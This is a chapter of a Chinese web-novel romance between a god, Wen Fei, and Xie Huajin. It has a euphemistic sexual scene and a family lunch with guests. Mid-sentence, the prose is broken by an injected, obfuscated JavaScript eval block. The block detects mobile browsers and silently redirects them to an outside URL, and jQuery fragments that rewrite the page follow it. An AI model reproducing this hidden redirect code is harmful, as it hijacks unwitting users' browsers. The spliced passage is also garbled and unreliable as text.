温斐:“我来。”
谢华瑾同意,但要求:“公平点……一人一次”。
温斐哼笑:“你早就打算好了是吧?”
谢华瑾默认,并道:“你能不能对我好一点?”
温斐竟从中读出了委屈的意味,定睛一看,细细分辨,嘿,还真是。
谢华瑾再次开口,如果说前面是暗戳戳的委屈,现在就是明晃晃的指控了。
“你……你给韵之的镯子……他们都有吧?他们每人都……有你定制的新年礼物……你给了唐芯那么多东西……木雕、玉偶、本命法器……我呢?你……温斐……你真的有用心在乎过我吗……”
温斐瞪眼,停下动作,先争个道理。
“我怎么没送你东西?这两枚储物戒指还挂你脖子上呢!”祂一把扯下他脖子上用铂金细链悬挂的戒指举给他看,还带着温热的体温。
谢华瑾直接气笑了,这种时候被祂不上不下晾着,再好的气性也得发作。手下动作不断,动作间,说话声不断。
“这若不是工作需要你会给吗?”
“前两天还给了你一个玉偶!”
“我自己要来的。”
“那这枚戒指……”
温斐气势顿时如退潮的海浪,一重不如一重。
这枚戒指也是他刚刚自己要来的。
这么一算,祂确实没给他什么……不对!
“你又给我什么了?”
“我在祠堂向众族人正式介绍你那一刻起,我所拥有的财富名望都与你共享。除了总司令这个公职,所有与谢华瑾有关的权柄,都属于你。”
他已经给了他能给的所有。
温斐梗着脖子憋了几秒,憋出一句:“你不要事事都跟唐芯比,她还是个孩子。”
谢华瑾捏住祂下巴向上抬逼着温斐与自己对视,两只圆眼底滑过一抹心虚。
丹凤眼眼睑半阖,头靠着瓷砖高高俯视祂,偏生眼底露出清晰可见的脆弱。
“所以叔叔年纪大就可以受委屈?”
温斐心脏被狠狠击中,分不清是因男人话音里明显的似含着千万斤委屈的鼻音还是这幅罕见的脆弱模样,太漂亮了,像是惹人怜爱的至宝,只想令人好好揽入怀中珍藏。
无数种情绪交织,冰冷神性染上欲望的颜色,眸中星海极光夺目。
祂没了脾气,放下身段,语气和缓:“你手上那枚戒指本来是我想送你的新年礼物。”
“所以我们还是没有戒指。”谢华瑾自嘲一笑,眸光明灭。
明珠蒙尘,只想令人好好捧起擦拭。
“我们一起设计,一起打造一对……我手把手教你炼器。”
温斐温柔地吻上他的唇,□□、轻啄,舌尖描摹轮廓,接着探入内里点、划、打圈,勾起另一条红舌共舞。
祂关闭水阀,二者身上瞬间干爽,抱着谢华瑾脚步微动,天旋地转间将人压入蓬松的床榻。
……这是一段漫长的前奏。
漫长……
当长发第N次划过胸膛,谢华瑾终于觉得不对,长腿曲起摁住祂一双小腿,手臂一拉将人拖上来。
像个严肃的家庭教师,训斥连最简单的古琴曲都不会的笨蛋学生。
幽邃的眼眸深深注视那张略显尴尬的小脸,他闭眼、深呼吸,又睁开,凝重道:“温斐,你老实告诉我,到底会不会?”
“当然!”斐,无所不能!
“那你现在在干嘛?”
祂直勾勾盯着他。
“呵。”谢华瑾冷笑,这小坏蛋方才除了给琴身抹了几层水还干了什么?视线不动,手往下摸索。
他一抚上琴弦就如入通灵之境沉醉其中,倒是没发现这小坏蛋始终没进入状态?!
温斐见瞒不下去,也不装了,委婉道:“再给我一点时间……就快找到感觉了,很快的!”
谢华瑾咬牙,“你是在侮辱我吗?”
“没有……”
见他冷冷盯着自己,温斐重重叹了一口气,行叭,摊牌了。
“我成[神]太久了,你知道的,很多行为和表情都是演算模拟出来的。但这档子事以前除了晨间正常生理反应再无其它经历,所以……”
所以模拟不出来。
祂真的很用心在找感觉了,但首先要从海量记忆库中将本就少得可怜的经历提取出来,然后计算、分析、得到路径……前面这些步骤并不难,祂早就习以为常,但结果就是这么离奇折磨。
无往不利的大脑第一次经受挫败,居然是在这种事上。
“你阳w?”谢华瑾直白问道。
眼里明晃晃的诧异直接让某尊傲慢的神祇炸毛:“不是!!!”祂超——厉害的!!!
但事实就是祂不行。
“……算了,没事。”温斐睁着无辜大眼睛,乖巧一笑,“你来吧。”
谢华瑾又好气又好笑,那他做了那么多心理准备算什么?
温斐轻柔安抚:“你听我解释,是这样的……”
[神]这种存在还可以简单粗暴的划分为本能能量体和理智能量体。
本能能量体靠本能过活,全是感情,莫得“脑袋”。
理智能量体有点感情但不多,欲望值极低,除了自己遵循的[道],很难对其余事物产生情感波动。
但理智能量体比本能能量体更高明的地方在于祂们有“脑子”。开智难,感情却是可以模拟的。包括一切由感情推动的肢体动作与神态变化。
温斐就是最典型的理智能量体,祂当人的时候都不太有感情,成神后愈加“理智”,反倒是如今[人格]与[神格]交融后多出几分真实的感情色彩。
谢华瑾闭眼吸气,又睁开,轻叹:“你能感受到快乐吗?”
“可以有。但这种来自躯壳的神经反应只是一种‘虚假快乐’,如果神识无法产生共鸣,就会显得空洞。”——来自某尊奇奇怪怪[真神]的倾情分享。
“神识共鸣……”
谢华瑾思索着,温斐在他胸口一拍没好气道:“你到底来不来?”
“来!”
谢华瑾搂着祂的腰翻身,反客为主将小坏蛋压在身下,墨黑长发铺开,在床铺上旖旎绘卷。
(这是一段场景描写,温斐虽然身段匀称,很有实力。)
谢华瑾把玩了会儿,不得不确认,这是一张无法发出声音的琴,语气微妙:“你这幅身子……是原装的?”
“当然!!!”温斐斐一双大眼睛瞪得更圆,脸颊鼓起,气呼呼道,“除了呆毛和信息素腺体。”
说着,祂视线下移。
……祂觉得他俩差不多,嗯!
谢华瑾轻叹,身体力行教祂什么是真正的演奏。
低沉的嗓音愈发沙哑性感。
“温斐,放弃模拟,把主导权还给躯体本身,让我带着你坠入欲望渊海……你是人之神,举世独一的傲慢,你的神性,你的欲望,你的一切只该由你自己定义。”
“现在,把呆毛露出来……放到我的手心……放松感受我带给你的一切……好乖……真棒……”
虽然不是一个一点就通的好学生,但是一个听话的乖孩子,认真听老师演奏,并予以适当的互动。
温斐眯起眼,爱人绝美的容颜在暧昧灯影中朦胧温馨,祂感到前所未有的轻松。
祂浸泡在名为爱的暖洋中,每一次触摸,每一道气息,每一份痕迹,都是他的珍视与悸动。
“嗯?”祂发出一声慵懒气音,他怎么停下来了?
谢华瑾克制着起身:“我去拿东西。”
“不用那个。”
“怕你不舒服。”
“……”祂歪着脑袋懒懒思索片刻,指尖浮现一只玉瓶,“那用这个。”
谢华瑾接过,打开闻了闻,眉心微蹙:“这是什么?”
“不知道……合欢宗的东西,说是专为同好研制。”(合欢宗可喜欢听音乐了!弹琴手疼,需佐以护手霜!)
“你怎么会有这个?”
“忘了……好像是谁送我的。”
“哦?”
如果十九能听见,预警雷达早已疯狂作响,可惜它不在。而某尊过分惬意的神祇丝毫没察觉到风雨欲来。
只一味催促:“快点。”
行。
谢华瑾灿烂一笑(气笑了),风华绝代,美人勾魂夺魄,温斐越发兴奋,舌尖伸出□□嘴唇,好饿……
谢华瑾低头覆上,深吻,一吻毕,抬手覆上琴弦。
谢家主琴艺高超,带来一场曼妙的视听盛宴,见之忘俗,闻之起舞,灵魂徜徉在高洁的音符之间,如痴如醉。
祂悬于高天,没入海底,祂在极致的绚烂中绽放。
神经反应带来虚假高潮,神识却不由自主共鸣震颤,祂清晰且深刻地感受到无瑕爱意的洗礼。
——————
初四,谢家开始迎接外客。方家人大清早就来了,一大家子人整整齐齐。
温斐直到午饭前一刻才懒洋洋掀开被子翻身坐起,房间早已被收拾地干净整齐分毫不见昨夜乱象。
床头柜上贴心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046970|168788||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地放着一只(治疗跌打损伤的!!!)药膏,虽然祂并不需要。
撑着床沿起身,腿莫名一软,可恶,一定是因为昨天少吃一顿,都给这幅不争气的身子饿得没力气了!(再热爱学习也是要吃饭的啊!看吧,一顿不吃,遭报应了!!!)
镜面斑驳。
【哇塞——】掐着表把自己解放出来的十九惊呼,【你肿了!】看着被人胖揍了一顿。
【……你还是继续关着吧。】他跟这种不通琴事的系统说不明白……虽然谢老师的教导过分严厉,祂要不是靠神力作弊怕不是早就撑不住陷入昏沉。
不对,祂自己的能力,怎么能叫作弊呢!(* ̄︶ ̄)
“别消,留着。”
耳边回荡男人低沉性感的嗓音。
给愚钝不好学的坏孩子留作深刻的教训!
昨天从下午开始不知道弹了多少曲,眼看天将亮,谢家主可算决定做罢,抱着人进到浴室清洗时,兴致又起,把祂抵在镜面上又来了一段即兴演奏。
温斐视线扫过身后的浴缸,哦,后来在浴缸里才是“最后一次”。
还是谢家主懂得多,弹琴之雅事,不分时间地点!!!
他说不消就不消,温斐斐不要面子的吗!╭(╯^╰)╮
几分钟后,穿戴整齐的温斐对着镜子整理衣领和长发,巧妙布置一番,颈后侧一点红痕若隐若现呼之欲出。
很好,祂满意极了。︿( ̄︶ ̄)︿
踢踢踏踏下楼,管家引着他进到客厅,谢华瑾背对他坐在单人沙发主位。温斐放缓脚步飘过去,隔着沙发靠背搂住人脖子,嗓音夹起:“猜猜我是谁?”
谢华瑾不自觉唇角勾起,抬起他的手轻轻一吻:“今天又是什么人设?”
谢华瑜正巧带人从外面进来,见此情景一惊,等了几秒没看见人遭殃,不禁咬碎了后槽牙。
他以前要是从背后拍他大哥一下,要不是猛地一过肩摔要不就是狠狠一肘击,总之没好下场。
他大哥偏心,什么习武之人的条件反射,都是借口!
这般想着,身后传来很没眼力见的一句:“这位是——?”
方栀煦自以为很睿智得体一笑:“清荃的男朋友?”
谢韵之低头扶额,救命~好丢人……
谢清荃双手疯狂摆动,小碎步躲到她亲哥身后。这人有病吧,干嘛把她大伯的仇恨往她身上引啊,她看起来很像软柿子吗! ̄へ ̄
“我的。”
谢华瑾冷冷横他一眼,牵着温斐的手起身顺势将人搂进怀里,拥着人不疾不徐向餐厅走。除了两字,再没给旁人多余的关注。
谢韵之低头紧跟父亲步伐,身后坠着一串同样低眉顺眼三只。
方栀煦尬笑一声,谢华瑜礼貌微笑,请管家把刚体验完农家乐的客人们请下去整理一番。
好好洗洗眼睛!谢二爷恨恨咬牙。谢清荃个软柿子听不出来,他这个亲爹耳朵又不聋,这姓方的暗戳戳挑拨他和他大哥关系呢!
谢华瑾小心翼翼带人入座,又体贴地命人拿来一个靠垫:“垫着点?”
温斐白他一眼,手抬起不知想了什么又放下,让靠垫顺利落于自己腰后。
谢华瑾展颜一笑,笑意温柔又暗藏锋芒。他要求温斐少用神力,尽量用人类的方式去生活……其中确实有想看温斐因着自己而露出某些情状的恶劣心思,他承认。
谢韵之嘴角抽搐,好浓郁的恋爱酸臭味,傻子都看得出来他俩昨晚干了什么。还有她爹,再让她活一辈子也想不到她爹脸上还能有这种表情,原来这人脸部肌肉没坏死啊?
饭桌上,谢华瑾殷勤备至,方栀煦不知道吃错了什么药,非上赶着明里暗里刺温斐几句。
小丑在温斐眼里都比这人有存在感。他懒得接茬,这人竟还以为他好拿捏,没杆硬往上爬。
谢韵之直接脱敏了,算了随便吧,只要她不在乎,她就不会丢脸。一个同父异母的舅舅而已,是的,她今早才知道这位舅舅居然也是个从外面抱进方家的私!生!子!
私生子还舅舅呢,四舍五入就是表的,表的就是与她无关!
想着想着便抬眸,余光扫过外祖母和舅母,这两位也是够能忍的……啧。
方栀煦也不敢太过分,但就是听着烦,像嗡嗡嗡嗡的苍蝇。
温斐啪地把筷子往桌上一拍,餐厅瞬间安静,落针可闻。
谢韵之屏息凝神,要发飙了吗?期待ing。
温斐对着谢华瑾娇娇俏俏一笑,wink:“老公~你说句话啊~~~”